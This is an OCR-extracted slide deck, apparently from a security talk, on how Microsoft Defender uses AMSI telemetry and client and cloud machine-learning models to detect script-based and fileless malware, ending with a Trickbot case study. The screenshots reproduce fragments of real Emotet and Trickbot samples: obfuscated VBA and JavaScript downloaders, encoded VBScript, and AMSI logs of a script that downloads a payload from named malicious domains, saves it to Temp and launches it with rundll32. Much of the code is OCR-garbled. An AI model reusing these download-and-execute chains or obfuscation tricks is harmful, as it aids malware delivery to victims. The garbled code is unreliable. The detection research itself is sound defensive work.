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AGENDA

* Script Based and Fileless Attacks

* Introduction to AMSI, How it is helpful in stopping attacks.
* How Microsoft Defender client and cloud integration works.
* Client and Cloud Based ML Models.

e Case Study from the ML Models Blocks



SCRIPT BASED ATTACKS

Initial Attack Vector(Macro Documents, Attachments having various scripts)
Downloading further Payloads.
Executing Fileless Payloads and doing Persistence.

Advance Frameworks like Powershell Empire, kodiac and many more.



EMOTET DOWNLOADER USING VBA MACRO

Project - Mormal E |:General]
= : dsf = (2893)
: 'El%i Normal dd = Dg'.l'.JI[‘.I}L'.J.. 1
File Message Help i [-[23 Microsoft Word Objects wee = i"{trgsnwu:urdsl,—"]
: EI@ Madules df = "{trashwordsl}"
‘g,; NewMacras r = (Joymeibkth)
x ‘ﬁ Project (Document1) d = "{trashwordsl}"™
cx = Ckusepjzs
Delete eds = (Kalvolgiuywl)
g = Gaogicafxdj=z
sd = Hlzrpunmsin
Delete wer = (Zdhgyevy)
ff = "{trashwordsl}"
_ ewrwe = ("{trashwordsl}")
DR . wer = Tjrtfchopsdb
Reminder: Outstan wer = "{trashwordsli" Downloading Emotet Payload
zd = (Fvwgthitizbkog)
xzd = ("{trashwordsl}"™)
" ft_0_5556034.doc . fds = ("{trashwordsl}")
d 645 KB End Function
Function Gkdzcopgindxff()
ge = "i=33ctt====Sg/") =33 " ===/2/") /amg=33"""====/2/") /mL=33"""====,
vv = [("{trashwordsl}"™)
Good afternoon, dsf = (434)
dd = BEnudowhwearod
In view of your payment documents for pa wee = ("{trashwordsl}")
far the pericd fram September to Decamb df = "{trashwordsl}"
find a list of uncleared bills and payment d € > r = (Slvvgvrpiu)
Best Regards, Jroperties - MewMacros ﬂ Ecix=="é;;i;:zzrd51} "
Denis Rempsl - Stonebridge Financial Cc"ﬂewl'-!acms Module V| eds = (Uluxkfndzm)
Alphabetic ' Categorized g = Ciphobax
| | sd = Wthoagposngd
Fi N P T D ———




TRICKBOT CAMPAIGN

var a = |{a:"(function( )avg{avgvaravgrug dataraw = 'String’
/Z,\\x6ewb-%P$\" [ ' \x63\x68ar\x430\x64eAt hisero = []

\\x81>\\x7fH\\x83-dCkn\"[ ' \x63\x68ar\x43
avgvaravgFvaGavg=avgnewavg\x41\x63\x74\x

gpnparl_4 = (this.toString + '').substr(4, 1) + "rom’
var jnabron@ = function () {

return (((WScript.Date * 8) + "').indexOf('N"))

[\"[\"length\"]*5063992095)[ 'toS\Xx74\X72 function jnabron(eqiwski, jkapprese) {
h(e\\x876T\\x68ztN\"[\"length\"]+3.0))]( try { - —"

Ge[rWiRp%tG>ilnhgl.vfLiN13eKszy%s_)tUeVm
Gvih3R\\/\\%\\@]/g,\"\")),avgImHAavg=avg
A"\ " :\"\\x5b\ ") +\"ndo\"+\"m\"] () ) av
avgd)[\"\"+\"toSt\"+(64>26

A" \AXZ2\ 70\ "\ \x69\ " ) +\"1ng\" ] (16) [\"s\"+
\"\\x6e\":\"\\x68\")+\"g\"](1)avg},avgda
A "\AX69\ "1\ "\ \x64\ " ) +\"\"+\" ronm\ "+(72>3
A" \AX65\" s\ "\ \x5d\ ") +\"nt\" ] (\"
purNoScEeHsOs\“['re\x?Bla\xGSe'](/[w\l
uosH51/8,\"\")) , avgfavg=avgd(\"X3uBs
eYWr (8n7acm
e\"['re\x76la\x63e'](/[\\(78XB\)\
3]/g,\"\")),avggavg=avgd(\"1cko@m
pOuFt7ef-rfnDahm8e\"[ 're\x7081a\x63e"](/[
1/g-\"\")),avgruavg=avgnewavg\x41\x63\x7
doBIn\"['re\x7@la\x63e"](/[\\
ydkK\\-A\\]6fIWQBqeZI43]/g,\"\")),avgloa
A"\ \ "\ \x66\")+\"1d\"+\"e\"+(59>43
A "\Ax72\" A"\ \x6b\ " )+\ "\ " 1(GOegk)

gpnparl_4(eqiwski, jkgpprese)

} catch (e) {

if (true jkqpprese = 'Ch' . . .
(petum 2 ’ 21 Trickbot Dowloaders using various
} else obfuscation

return this[dataraw][qpnparl_4 + [jkqgpprese + 'ar'] + 'Code'](eqiwski)

return @
ighEKparties53ko = @.216ighEKfilled44ko = 8.219ighEKlessen97ko = @.669ighEKdiscussion76ko = @.979ighEKofalliances38ko = ©.783ighEKu
var pewmeé = hisero
pewme6[9] = 2
pewme6[78] = 1ee
return jnabron(pewme6[9] + jnabrone®() + pewme&[78], 'Ch')})(false, true) + (function () { tpjthat7 = hisero tpjthat7
ethother8 = hisero
ethother8[9] = 1
ethother8[78] = 1180
return jnabron(ethother8[9] + jnabronee() + ethother8[78], 'Ch')})('robot46') + (function () {
upwgrati5 = hisero
upwgratis[9] = 4
upwgrati5[78] = 63
return jnabron(upwgrati5[9] + jnabron@®() + upwgrati5[78], 'Ch'})(true, false, ‘addition95’,
var vvueve9 = hisero
vvueve9[9] = 4
vvueve9[78] = 93
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HERE COMES AMSI(ANTI-MALWARE SCAN INTERFACE) !!

AMSI is an open interface that allows antivirus solutions to inspect script behavior and content on
execution.

It support following scanning :
* File Based

* Memory Based

* Stream Scanning.

* content url/ip



WINDOWS 10 SCRIPT EXECUTION ENGINES HAVE AMSI

INTEGRATIONS

2015

Windows 10 Launc
PowerShell

VBScript
JScript
UAC

private void ReallyCompile(bool optimize)

Vi~ — - - P T I LY

pr vate void PerformSecunltyChecks(}

5V

—— o o tent;
IEX (an allas to |nV0ke'EXpreSSl0n). tent.Text, scriptExtent. Fllel — AmsiUtils.AmsiNativeMethods.AMSI RESULT.AMSI RESULT DETECTED)

inedMaliciousContent”, ParserStrings.ScriptContainedMaliciousContent);

Scans content at PowerShell
$PSCmdlet. InvokeCommand InvokeScrlpt( N i SCFIpt c_omplle times. Includes
$PSCmdlet.InvokeCommand.NewScriptBlock( ... ) dynamlcally-loaded content

$PSCmdlet.InvokeCommand.ExpandString( ...

if (etwEnabled) ParserEventSource.Log.CompileStop();
}



WINDOWS 10 SCRIPT EXECUTION ENGINES HAVE AMSI
INTEGRATIONS

2015 | 2017 | 2018  |2019 | 2021
Windows 10 Windows 10 Fall  Office 365 WMI XLM4.0
Launch Creators Update  vBA macro  behavior Macro

PowerShell  JScript behavior behavior instrument
VBScript iInstrumentation instrumentationgtjon
JScript VBScript behavior

Instrumentation
UAC



AMSI BEHAVIOR COM OBJECT CALL LOGGING



AMSI SCRIPT INSTRUMENTATION

Instruments COM objects

Logs when COM objects and its methods are invoked along with parameters
Calls AMSI synchronously prior to all executes

Windows Script Host
WScript.Shell.Run()
. ; / \ Seript:

Shell.Application.ShellExecute() Q lcr:jr.-_-rj-:l min!\Desktop\Jenxsis\5F316BB440F5CCO456CB318764401F6
Wscript.Shell.Exec() DOAEE0I b
MMC20.Application.Document.ActiveView.ExecuteShellComm Char 1 -

Errcr: This script contains malicious content and has been blocked
and by your antivirus software.: 'EXECUTEglobal'

LN - 0 . . Code: 80042020

Execute (generic "object.Execute", often used with the obj Soorce: Mimsoft VBScript runtime error

returned by "WSHController.CreateScript")

Aborts script behavior execute if detected by AV product



— . T e T e T A THTTE T TV T A B TSR T kT T o i e -

SMHGy E:EEE;; ;ééifééEEéex;:cEEEEEL IWshShell3.ExpandEnvironmentStrings ("%TEMP%");
i?ttiﬁifiifii3;?r%§%;553?i3f??$3?5; IServerXMLHTTPRequest2.open("GET", "http://esustentables.com.ar/hgf65g2UxhnpIsVw=UKfVquc", "false");
JaTNAOs0NCEVHa1 SwdXNoRF0cnlullsiin TSepyerXMLHTTPRequest2. setRequestHeader("User-Agent”, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");

1Y3QoIkFETORCLINO ciVhbS IpO2ExWyJ0eX
. CooEeemmrat e IServerXMLHTTPRequest2.send()
LT1BPUDJJY2EpDQpTDOpmb3IgECE2YXIg

ek IServerXMLHTTPRequest2.responseBody();
"R1JPR3phbWdsYXZpY¥2hhe3RpID0geydViz _Stream.Open();
1JPRzJYQOO0XSkTEQOKICAgIHI1dEVYEiBSZ _Stream.Write("Unsupported parameter type 00002011");
var velVITE BOSED 15 = new Array(7/C _Stream.Position("O");
08, 70 =100, 70 -100, 70 -200, 70 = Stpeam.SaveToFile("C:\Users\ADMINU~1\AppData\Local\Temp/dsCqlP1", "2");

S o om0 _Stream.Close();

e e i an ke an _es _Stream.Type("2");

Y 2100, 70 -100, 70 -100, 70 -100, _Stream.Charset("437");

-100, 70 =100, 70 -100, 70 -100, 70 _Stream.Open();
100, 70 =100, 70 -100, 70 -100, 70 - Stream.lLoadFromFile("C:\Users\ADMINU~1\AppData\Local\Temp/dsCqlP1");
70 -100, 70 -100, 70 -100, 70 -100 Stream.ReadText();

COToEEe e TeREee e meEEe fe messe 1 Stream.Close();
) _Stream.Type("2");
funetion SetRH(vL, v2){ _Stream.Charset("437");

v1[v2] ("User-Lgent", "TH36aWxzsyssoL _Stream.Open(); )
} _Stream.WriteText("MZE");
var FROGzamglavichasti; _Stream.SaveToFile("C:\Users\ADMINU~1\AppData\Local\Temp/dsCqlP1.d11", "2");
var velVITE BOSEC 15HO = StopWaitAMi Stream.Close():

IIWshShell3.Run("rundll32 C:\Users\ADMINU~1\AppData\Local\Temp/dsCqlP1.d1ll,SetText", "@", "false"); I

ICh2 YK TgUmV1¥mOrR2 Fs¥YXhSR1JPRzIYQoog _Stream.Type("1™);

for (velVITE OBLOM= 0; velVITE OSmor < vervIIN DUSKU ISHOT VEIVITR USDUMFFT |
velVITK BOSEOQ 15[velVITE OBLOM] -70 :

444yelVITE BOSKO 15[velVITK OBLOM]+55; Before Run() exeCUteS, W|” Ca”
AMSI scanner with whole

velVITE BOSKEO 15[velVITE OBLOM]
velVITE BOSKEO 15[velVITE OBLOM]

}

function StopWaitAMinvalleyFROGZundefilled(velVLUMAHx, welVLUMAHY) { buffer Contents
velVLUMAHX = eww * frr;
velVLUMAHy = welVLUMAHZIZ + 245;
}:

rar torSerretLine



<job id="OxbgyijrotGrufirusgi">
<gscript language="VBScript.Encode">¥E8~"IUQRRR=—R#RB&sR#B&}x, 2DMWM~IN/ ; :[PHnXYE#8&%k=sP/z;d3 'HNO;
uNOmMW3EQVILL3V.E6L. ; koL@#@&GkhPmEh/ VENOhkkeX\LX : zt(W5@# @& Fks~2MWolGW\m: s0 . +C [wDz0MGo (@#@&9k
No.HO.WTE80LObDD; | 6n4-Yk3rf4@as.z6DWTStkD | 6A4\D/0k~"'~EalVX ;0a6E@#@slkdVbNVhk [0L4bESDnMxDCH
P:-LPd+UcwD}LE WT4tkWFOStTYd3rbR4RaR4RaR2Ra1~kdVbN3Ark6aHNasX4lWSP' , JTYER4RaR4ReR4Re2nCE+WE-15:
, FE#@sd[sMXEDGORVNYDDS | 6ha-D/ 3r~ {PT@#@E@#@&A:}:EEHESEH3+DD[.:[It-nh{m RPDDEU@#@EED}:&YC 4ulDO
.+ nXDS rk3TNOR, ' ~~kk3k935 [N9/dims . z6 DWIE SR e e Sy DR T VIS oT AT
~OkEx, la4nGHx : MM; OND; dTLSA4T s rtl8mt—skTY4x THost. cpeatQObJect("l.Jscplpt Net\.lor\k"),
3zDE0! . '0LM; /TL~, /Ok4¥m; 4xdd " VCYkdhnona7vf
$@&Pu[0mDG: ! /VNNLOM. ! ONDEkoN~', JKD YC4 16| IHost.ScriptFullName();
3zDEWMMEWSME /L%, ' ~g95Tm. kL! /OThD. zDk4¥m; 4§ IWshNetwork2.UserName();
I i x = Z LI
fr [KOVSE@#@&PrX8SXNDKY4o [WI/Clw.X6DGL (" 20 TyshNetwork2.UserName();

P300wPR (9 LuMdANEd60SYD: Yo4Ym; 4x@#@5~~, PP, § i ¥ . i
v2nG6+WE—P{Pbk”cHbNvs . XW.KoStkW| 6h4-D/3r5] IHost.CreateObject("WScript.Shell");
i ISkbemObjectSet. NewEnum();

£roW6eVnl+SA| 6n4\D/Vr, [P14DvAKKVINOhKN40V. &
Sat7:r4l4J#ELP, PP, ~ (0, ZDE4YCSAXVMMOVD: W 1L 4)eSystem3. FileExists("C: \ProgramData\Adminuser\auidxx40.log");
IHost.Quit();

fkoWeshl+AnnOA4TY/0r£@#@&d, ~uNOMMWEEQAVILL3}
~YhWxB$RaB4$R:aR$#RakAr/Vr93AP{~1X4nGHXE! . 10

1DKL; /V[NoVMM; OND; dTLEx~g68+Kz
E!MEGLD! /T:55t-:btna"t\sroDd rx0lccaFnR$RsR#Rafr:~2alstr:6sX4nK ; LE4VD;: ON. | /LNPR$#Rafb:, [0GK]

nd"ch\srlY ( rU00830  21aEYUAT Ih#@$#Ran/ 4Yw. X6DGL (+hCCVD; ON. ! /LNP{ PlUnMrwDRjnMk2 OWwEV Hls+B#B&u[ NO AMSI behavior
E'MEGLD! /T%55t—:btn8 "t \sroD4 " ra04PRELR4#EeN6ErNGH " h. +T5; nOR4TY/Vr, ' ~watNt \NesXtlWs2L4M . E6L. ;

sMMEWLMEALNSh4-:bt+ (] 4\skTY8 "EIARU*4CARRO-0" ,E*P'PaZLNt\ 3¥ :X4nK;3L4 'MEWND ! /oNR " d+M1C:[8$2zE Ca” no execute
;VD; 6LME/TLdAt T : rtl4] 47 : kTO4vIaADADAC01 ATHPUP-2RPERE=xcEAT*@#R&C931DGL; dONS00 ' D! 0%. ! /0%~ { PHE ! .

: Dnm¥lr4N+10" g68+KXU: VDE6SD! /oNJAtT:btn4]47: roD8  riipaAs Ja3a453@JobR#@& 70, /9k9GEVA, ', ZDI1Dnz: SCan trlgger.

4nD/Y [31DWN;zY$+MM.EWMEdoNb@#@&C[V1DWS; k3 [LTVVD; 6LME/TL, XxPg68+KXU; VDE63D! /oNJAL T :btnd]47:
240dDy02[WWnEO \ ~x, J~e,EE$EB&Sb/0KNORS [04/4ZDk40m; ¢  ~',16(nGX EVD;0%.!/LLdAtT:r404I4-skLY |
EM. ;6L.EKLNSRE4 \sktl4"4a\ skLY (" EINES0ECECA0DAUBLUYaE -cYEUN=A0VERATE 30@aUEICEP [, 9KOWO "A-0kEaT
WE+G0-~LPSkkVKS3A[Sotd4; YrtDCStUR#RaU+Y, HNa t HenWEXz55hhln | 6ht 70d3bP{ PoDzWMWL463t 904 [$ | OR4TY
EUSLIUL!1L+, x, la (+EXx!MM; OND; /TLJA4\ : b4+ (It ThroD4vIL” »*E$~P4+UR$Es~F NV MWL;d0ON%o0 !MEWND! /o
+aCR#¥R&P, B¥B&, B#R&, ~~qg6Pks . XW.Ko8RwrVIZarkY/cClo\ L¥hHtnE  ktH01mh+VD; OND; dTLPL~1X4+EzUEVD! 0%
E~~,C[31.WHNEdAVILoV!MEWLM; ko%, ", 16 (+Ezx'M.E6L. ; koLdAt T : k4n8I4\ skLYEcrd(¥-¢ix=bBNJ0PE$E:E, P
NEbOR#@c@#BeN[b! /V;93;93tkY¥fb[GO0 h, '~F{Q8GE#Rc@4$Rcg6PHE : P d9bNGO  "ReeG NID2XkkO/v1totLahHt +K
N&:H4nWS/4NVIChIM. E62D! /L *E#B&Tul3 DK ! /VILTIMMEEED! /LL, ' ~H¥4+Kzx !MD!W3D! /TLIh4-sk4+ (]tT:x
[ qWERzRERECO31 . WNEA3ISLLVVDEESED! /foN~xPa6 (+GXT:VD: 0N .Fko:JSt\hrd4+8T4-skLD4vJaC ¢ ixabNJ*PRE



WE NEED BETTER SOLUTION TO STOP THESE ATTACKS!



WINDOWS DEFENDER CLOUD

Customer’s Machine

)7
. O/@
Script behavior or Sends features: 3,7 2
ULl Emulated behavior (eg ap'r/ \ v @
calls) @ / ? ATo

Fuzzy hashes .y /
ML feature vectors Decider rules and e
Process behavior events : ; ~

ranking logic m
Etc g g O/'@/



PROBLEM: IT IS TOO COSTLY TO ASK THE CLOUD FOR EVERY FILE WE
SCAN

Windows Defender Cloud

Defender
Cligyft




BUILDING THE ML MODELS

5.Deploying : 7;/ 1.Collecting

the Model the data
4.Choose
right ML 2.Featuring
Algo for the Data
prediction

& 3.Labeling

the Data



STEP1 : COLLECTING DATA

We uses following data source for our AMSI Models :

RealTime Telemetry
e« Sandbox Detonation Data

Data from third party like VT,RL



STEP2 : SELECTING FEATURES



CLIENT FEATURE VECTORS

Customer’s Machine

i
" i Seno's foq Rea\’(\_ b
4 \ W, €s c\assﬁ\e %
SCa P
/7/()e ’ __
@

Sends features:

Emulated behavior (eg api
calls)

Fuzzy hashes
ML feature vectors

(m
(I
(i

Process behavior events Decider rules anc
Etc ranking logic

e ML ff




FEATURE SELECTION

~64 COM object

Clean + name features

Malicious
scripts

. ~193 COM
function name

features

Character ngram
features



Example set of learned features used to help in classification of malicious AMSI content

[Host|.CreateObject)( "WScript.Shell”);
E ) [[WshShell3]ExpandEnvironmentStrings|("#TEMPX");
IWshShell3 . ExpandEnvironmentStrings( “&TEMPE");

IHost.CreateObject|( "Msxml2.XMLHTTP"); ML-selected ngram features

IHost.CreateObject("ADODB.S5tream™);

IHost.CreateObject( Scripting.FileSystemdbject”);

hFileSyStemﬂJFileExiStj{”{:\USE"S\ \AppDataNLocal\Tempha. txt™);

|IServeerLHTTPReque5t2LDpenK"GET“, "http://ethiopiantextileexpo.com/countery ?ad=10Jr2DXnS8tbfL7ZBdmfGWPxm", “false);
IServerXMLHTTPRequest2./send();

IServerXMLHTTPRequest2./status|);

LStreamLDped{);

_Stream.Typek“l"};
IServePKMLHTTPRequestEJrespﬂnseﬂadﬂ{};

_Stream.Write( "Unsupparted| parampter type 88062011%);

_Stream.Size();
_Stream.SaveToFile( C:\Users\ \Applatatlocal\Temphal.exe™, "2");
INShShEllB.("C:‘\USE“S‘* \AppData\Local\Temphal.exe™, "1, "@[);

COM Objects COM Functions

IHost
IWshShell

CreateObject Status SaveToFile

ExpandEnvironmentStrings Type Run

IFileSystem
FileExists responseBody

IServerXMLHTTPRequest
open Write




var w8631 = "195|1=a--za|?4|135|?2|49|155|191|?9|&|43|42|4M|2
v8631 = vB631.split(™|");
var vwcbecF¥ = "7

for {(var wSba? = 8; wvsba7 < wvB8631.length; wvsba7++)

1
vcbc7? = wcbc7? + String.fromCharCode(v8631[vsba7]);

}
vcbc? = v75ee(veSb6, vcbc7);

eval (vcbc?) ;

F : : :
The dynamic script content loaded with

eval() will also be evaluated and classified



MAP-REDUCE FOR INITIAL DOWNSELECTION
X MB

X AMSI Logs
X documents

X GB

XM distinct
feature candidates

X feature candidates

X feature candida

Initial feature candidate set



LEARNER-BASED FEATURE SELECTION

Fast Linear SA-SDCA used to downselect features:
e Semi-Asynchronous Stochastic Dual Coordinate Ascent
* Downselection through L1 regularization feature trimming

e X final function-argument features

Fast Linear (SA-

SDCA) learner
downselection



WHY THE CLOUD? WHY NOT THE CLIENT ML?

Global file information (file age, prevalence)

More costly features (features based on fuzzy hashes)

More costly models (using more memory, large disk space, high CPU usage)
Quickly updating ML models to respond to adversaries

ML models are not in the hands of the adversaries

Clean reputation models

Quickly fixes the FP/FN



STEP3:LABELLING THE DATA

We uses 2 approaches to generate Labels :
1.Labelling Buffers based on Caller Files

2.Metalables



LABELLING : METHOD 1




LABELLING : METHOD 2 - METALABELS

Assumptions:
e Attacks start with a malicious file or involve a malicious file at some point.

* We have malicious file labels in retrospect sometimes
0 Known clean file first seen on device
1 Known malware file first seen on device

. Hash(Unknown behavior) first seen on device
Encountered malware

Machine
0] 1 1 0 1
Timeline &
(In Retrospect)

Can we train this behavior as malware?
Clearly associated with malware first arriving on this device?
What about the reputation of this similar behavior on other devices?



ERRRR R AN B ™
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’ Known clean file first seen on device =~ 1 Known malware file first seen on device - Hash(Unknown behavior) first seen ¢

(=1
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15-minute window 1-minute window

Machine#1 0 o L1 l®:
Machine#2 o : ® W -

Machine#3 © 0 ) e
Machine#... 0 o . l®:

Aggregate reputation per behavior. across machines as:
% of time machine first-encountered malware within 1 minute of first-seeing this be
% ... within 5 minutes
% ... within 15 minutes
% ... within 2 days




REPUTATION FROM NON-EXACT MATCHES

Machine Timeline
(In Retrospect) 0 0 11 . 0 1 0 1 0
0 Known clean file first seen on device 1 Known malware file first seen on device . Hash(Unknown behavior) first seen on devic

In addition to reputation of exact match, we
build reputation of similar matches

% malware | % malware | % malware | % malware | % malware
within 1 within 5 within 15 within 60 within 2
minute minutes minutes minutes days

Exact match
File name

Fuzzy hashO
Fuzzy hash1

Writing a rule using these noisy generic features isn’t the
best. ML!

Fuzzy hash7



COMBINING GENERIC FEATURE REPUTATIONS WITH ML

BehaviorHash

Key % % malware | % malware | % malware | % malware
malware | within 5 within 15 within 60 within 2
within1 | minutes minutes minutes days
minute

Exact match
File name

Fuzzy hashO
Fuzzy hash1

Fuzzy hash7

nx floats describing reputation of
BehaviorHash and its generic features

MetalLabel
(probability malware based on the reputation of
machines that encountered this and similar buffers)

labels

LightGBM

0

In a subset of AMSI scenarios
we directly tie BehaviorHash
to FileHash of known malware

Really healthy machines
unlikely to have
encountered malware



STEP4 : MODEL SELECTION

LightGBM !!!

Perceptron !!!

Logistic

Regression!!!




CURRENT ML MODELS RUNNING

1.PowerShell 2.JavaScript 3.VBSCRIPT 4 WMI 5.VBA



CASE STUDY FROM SOME OF OUR BLOCKS



Case Study 1: TrickBot Banking Trojan Campaign

Beléem

It start with email have .docm file as attachment

Fortaleza

« < \Which further download javascript payload

Joao Pessoa

Recife n Subscription xx is fully covered.
Good luck

Atlantic Ocean
Salvador

| | Member_Subscription_
4 e i Info_F871371.docm
Paz BOLIVIA \ \ oIS P o o

Santa Cruz

i Member_Subscription_Info F871
371.dat

m

Campo Grande

San Salvador de Jujuy PARAGUAY \

Sdo Paulo

Asuncion J Curitiba
.

San Miguel de

Turuman
"

Ankara = "S" & Chr(9e + 9) & "r" & "ipt"

VBA.CallByName VBA.CreateObject(spoof & Chr(46) & Chr(6@ + 5) & "ppli" & Chr(9e + 9) & "ation"),
spoof & "Exe" & Chr(89 + 10) & "ute", VbMethod, "W" & Ankara _ | "/" & "e:™ & "J" & Ankara & " " & Chr(40 - 6) & Cadmium & Chr(4@ - 6), Judge, Openl
End If End Sub Sub Dayoff(oreo As Long) Dim fedor As Integer fedor = ActiveDocument.Variables.Count If True And (fedor = ©) And (oreo > @) Then

Cadmium = Replace(ActiveDocument.FullName, ".d" & "o" & Chr(99) & "m", ".d" & "at")

Dim vertu As String, hize As Long, android As Integer
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CLOUD MODEL RESULTS
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Key Takeaways

In last few years there is big shift from PE based to Script Based and
Fileless Attacks.

Integration of AMSI with various scripting engines help in getting
behavior instrumentation of obfuscated Scripts.

ML is really helpful tool for identifying patterns in the large dataset.

Combination of Client + Cloud Models works really great.
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